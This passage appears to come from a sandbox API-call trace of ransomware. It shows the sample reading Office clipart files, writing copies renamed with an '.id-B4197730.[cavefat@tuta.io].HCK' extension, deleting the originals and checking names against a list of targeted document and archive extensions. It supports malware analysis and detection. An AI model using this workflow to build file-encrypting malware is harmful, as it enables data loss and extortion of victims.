lpNumberOfBytesRead=0x2fcfecc*=0x60dc, lpOverlapped=0x0) returned 1 [0170.967] WriteFile (in: hFile=0x39c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x60e0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x60e0, lpOverlapped=0x0) returned 1 [0170.968] ReadFile (in: hFile=0x370, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0170.968] WriteFile (in: hFile=0x39c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0170.968] SetEndOfFile (hFile=0x39c) returned 1 [0170.971] CloseHandle (hObject=0x39c) returned 1 [0170.972] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.973] SetEndOfFile (hFile=0x370) returned 1 [0170.975] CloseHandle (hObject=0x370) returned 1 [0170.978] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216570.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.978] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216570.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216570.wmf")) returned 1 [0170.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216570.WMF") returned 68 [0170.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216570.WMF") returned 68 [0170.981] lstrlenW (lpString=".doc") returned 4 [0170.981] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.982] lstrlenW (lpString=".docx") returned 5 [0170.982] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0170.982] lstrlenW (lpString=".pdf") returned 4 [0170.982] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.982] lstrlenW (lpString=".xls") returned 4 [0170.982] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.982] lstrlenW (lpString=".xlsx") returned 5 [0170.982] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0170.982] lstrlenW (lpString=".ppt") returned 4 [0170.982] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216570.WMF") returned 68 [0170.982] lstrlenW (lpString=".zip") returned 4 [0170.982] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.982] lstrlenW (lpString=".rar") returned 4 [0170.982] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.982] lstrlenW (lpString=".bz2") returned 4 [0170.982] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.982] lstrlenW (lpString=".7z") returned 3 [0170.982] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216570.WMF") returned 68 [0170.982] lstrlenW (lpString=".dbf") returned 4 [0170.982] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216570.WMF") returned 68 [0170.982] lstrlenW (lpString=".1cd") returned 4 [0170.982] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216570.WMF") returned 68 [0170.982] lstrlenW (lpString=".jpg") returned 4 [0170.982] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216570.WMF") returned 68 [0170.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216570.WMF") returned 68 [0170.982] lstrlenW (lpString=".doc") returned 4 [0170.982] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.982] lstrlenW (lpString=".docx") returned 5 [0170.982] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0170.982] lstrlenW (lpString=".pdf") returned 4 [0170.982] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.982] lstrlenW (lpString=".xls") returned 4 [0170.982] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.983] lstrlenW (lpString=".xlsx") returned 5 [0170.983] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0170.983] lstrlenW (lpString=".ppt") returned 4 [0170.983] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216570.WMF") returned 68 [0170.983] lstrlenW (lpString=".zip") returned 4 [0170.983] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.983] lstrlenW (lpString=".rar") returned 4 [0170.983] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.983] lstrlenW (lpString=".bz2") returned 4 [0170.983] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.983] lstrlenW (lpString=".7z") returned 3 [0170.983] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216570.WMF") returned 68 [0170.983] lstrlenW (lpString=".dbf") returned 4 [0170.983] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216570.WMF") returned 68 [0170.983] lstrlenW (lpString=".1cd") returned 4 [0170.983] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216570.WMF") returned 68 [0170.983] lstrlenW (lpString=".jpg") returned 4 [0170.983] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.983] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.983] lstrlenW (lpString="J0217262.WMF") returned 12 [0170.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0217262.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0170.987] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=5252) returned 1 [0170.987] CloseHandle (hObject=0x30c) returned 1 [0170.987] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0217262.wmf")) returned 0x220 [0170.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217262.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0217262.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0217262.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0170.994] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.994] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217262.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0217262.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0171.003] GetLastError () returned 0x0 [0171.003] ReadFile (in: hFile=0x398, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x1484, lpOverlapped=0x0) returned 1 [0171.005] WriteFile (in: hFile=0x394, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1490, lpOverlapped=0x0) returned 1 [0171.006] ReadFile (in: hFile=0x398, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0171.006] WriteFile (in: hFile=0x394, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0171.006] SetEndOfFile (hFile=0x394) returned 1 [0171.009] CloseHandle (hObject=0x394) returned 1 [0171.010] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.010] SetEndOfFile (hFile=0x398) returned 1 [0171.014] CloseHandle (hObject=0x398) returned 1 [0171.015] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217262.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.015] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0217262.wmf")) returned 1 [0171.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217262.WMF") returned 68 [0171.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217262.WMF") returned 68 [0171.017] lstrlenW (lpString=".doc") returned 4 [0171.017] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.017] lstrlenW (lpString=".docx") returned 5 [0171.017] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0171.017] lstrlenW (lpString=".pdf") returned 4 [0171.017] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.017] lstrlenW (lpString=".xls") returned 4 [0171.017] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.017] lstrlenW (lpString=".xlsx") returned 5 [0171.017] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0171.017] lstrlenW (lpString=".ppt") returned 4 [0171.017] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217262.WMF") returned 68 [0171.017] lstrlenW (lpString=".zip") returned 4 [0171.017] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.017] lstrlenW (lpString=".rar") returned 4 [0171.017] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.017] lstrlenW (lpString=".bz2") returned 4 [0171.017] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.017] lstrlenW (lpString=".7z") returned 3 [0171.017] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217262.WMF") returned 68 [0171.018] lstrlenW (lpString=".dbf") returned 4 [0171.018] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217262.WMF") returned 68 [0171.018] lstrlenW (lpString=".1cd") returned 4 [0171.018] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217262.WMF") returned 68 [0171.018] lstrlenW (lpString=".jpg") returned 4 [0171.018] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217262.WMF") returned 68 [0171.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217262.WMF") returned 68 [0171.018] lstrlenW (lpString=".doc") returned 4 [0171.018] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.018] lstrlenW (lpString=".docx") returned 5 [0171.018] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0171.018] lstrlenW (lpString=".pdf") returned 4 [0171.018] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.018] lstrlenW (lpString=".xls") returned 4 [0171.018] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.018] lstrlenW (lpString=".xlsx") returned 5 [0171.018] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0171.018] lstrlenW (lpString=".ppt") returned 4 [0171.018] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217262.WMF") returned 68 [0171.018] lstrlenW (lpString=".zip") returned 4 [0171.018] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.018] lstrlenW (lpString=".rar") returned 4 [0171.018] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.018] lstrlenW (lpString=".bz2") returned 4 [0171.018] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.018] lstrlenW (lpString=".7z") returned 3 [0171.018] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217262.WMF") returned 68 [0171.018] lstrlenW (lpString=".dbf") returned 4 [0171.018] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217262.WMF") returned 68 [0171.018] lstrlenW (lpString=".1cd") returned 4 [0171.018] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217262.WMF") returned 68 [0171.018] lstrlenW (lpString=".jpg") returned 4 [0171.018] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.018] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0171.019] lstrlenW (lpString="J0227558.JPG") returned 12 [0171.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227558.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0227558.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0171.024] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=58089) returned 1 [0171.024] CloseHandle (hObject=0x398) returned 1 [0171.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227558.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0227558.jpg")) returned 0x220 [0171.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227558.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0227558.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227558.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0227558.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0171.036] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.036] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227558.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0227558.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0171.050] GetLastError () returned 0x0 [0171.050] ReadFile (in: hFile=0x30c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0xe2e9, lpOverlapped=0x0) returned 1 [0171.055] WriteFile (in: hFile=0x2ec, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xe2f0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xe2f0, lpOverlapped=0x0) returned 1 [0171.056] ReadFile (in: hFile=0x30c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0171.057] WriteFile (in: hFile=0x2ec, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0171.057] SetEndOfFile (hFile=0x2ec) returned 1 [0171.057] CloseHandle (hObject=0x2ec) returned 1 [0171.057] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.057] SetEndOfFile (hFile=0x30c) returned 1 [0171.058] CloseHandle (hObject=0x30c) returned 1 [0171.058] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227558.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.058] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227558.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0227558.jpg")) returned 1 [0171.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227558.JPG") returned 68 [0171.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227558.JPG") returned 68 [0171.059] lstrlenW (lpString=".doc") returned 4 [0171.059] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0171.059] lstrlenW (lpString=".docx") returned 5 [0171.059] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0171.059] lstrlenW (lpString=".pdf") returned 4 [0171.059] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0171.059] lstrlenW (lpString=".xls") returned 4 [0171.059] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0171.059] lstrlenW (lpString=".xlsx") returned 5 [0171.059] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0171.059] lstrlenW (lpString=".ppt") returned 4 [0171.059] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0171.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227558.JPG") returned 68 [0171.059] lstrlenW (lpString=".zip") returned 4 [0171.059] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0171.059] lstrlenW (lpString=".rar") returned 4 [0171.059] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0171.059] lstrlenW (lpString=".bz2") returned 4 [0171.059] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0171.059] lstrlenW (lpString=".7z") returned 3 [0171.060] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0171.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227558.JPG") returned 68 [0171.060] lstrlenW (lpString=".dbf") returned 4 [0171.060] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0171.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227558.JPG") returned 68 [0171.060] lstrlenW (lpString=".1cd") returned 4 [0171.060] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0171.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227558.JPG") returned 68 [0171.060] lstrlenW (lpString=".jpg") returned 4 [0171.060] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0171.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227558.JPG") returned 68 [0171.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227558.JPG") returned 68 [0171.060] lstrlenW (lpString=".doc") returned 4 [0171.060] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0171.060] lstrlenW (lpString=".docx") returned 5 [0171.060] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0171.060] lstrlenW (lpString=".pdf") returned 4 [0171.060] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0171.060] lstrlenW (lpString=".xls") returned 4 [0171.060] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0171.060] lstrlenW (lpString=".xlsx") returned 5 [0171.060] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0171.060] lstrlenW (lpString=".ppt") returned 4 [0171.060] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0171.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227558.JPG") returned 68 [0171.060] lstrlenW (lpString=".zip") returned 4 [0171.060] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0171.060] lstrlenW (lpString=".rar") returned 4 [0171.060] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0171.060] lstrlenW (lpString=".bz2") returned 4 [0171.060] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0171.060] lstrlenW (lpString=".7z") returned 3 [0171.060] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0171.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227558.JPG") returned 68 [0171.060] lstrlenW (lpString=".dbf") returned 4 [0171.060] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0171.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227558.JPG") returned 68 [0171.060] lstrlenW (lpString=".1cd") returned 4 [0171.060] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0171.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227558.JPG") returned 68 [0171.060] lstrlenW (lpString=".jpg") returned 4 [0171.060] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0171.060] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0171.060] lstrlenW (lpString="J0230553.WMF") returned 12 [0171.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0230553.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0230553.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0171.063] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=7594) returned 1 [0171.063] CloseHandle (hObject=0x388) returned 1 [0171.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0230553.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0230553.wmf")) returned 0x220 [0171.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0230553.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0230553.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0230553.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0230553.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0171.075] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.075] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0230553.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0230553.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0171.081] GetLastError () returned 0x0 [0171.081] ReadFile (in: hFile=0x38c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x1daa, lpOverlapped=0x0) returned 1 [0171.082] WriteFile (in: hFile=0x378, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x1db0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1db0, lpOverlapped=0x0) returned 1 [0171.083] ReadFile (in: hFile=0x38c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, 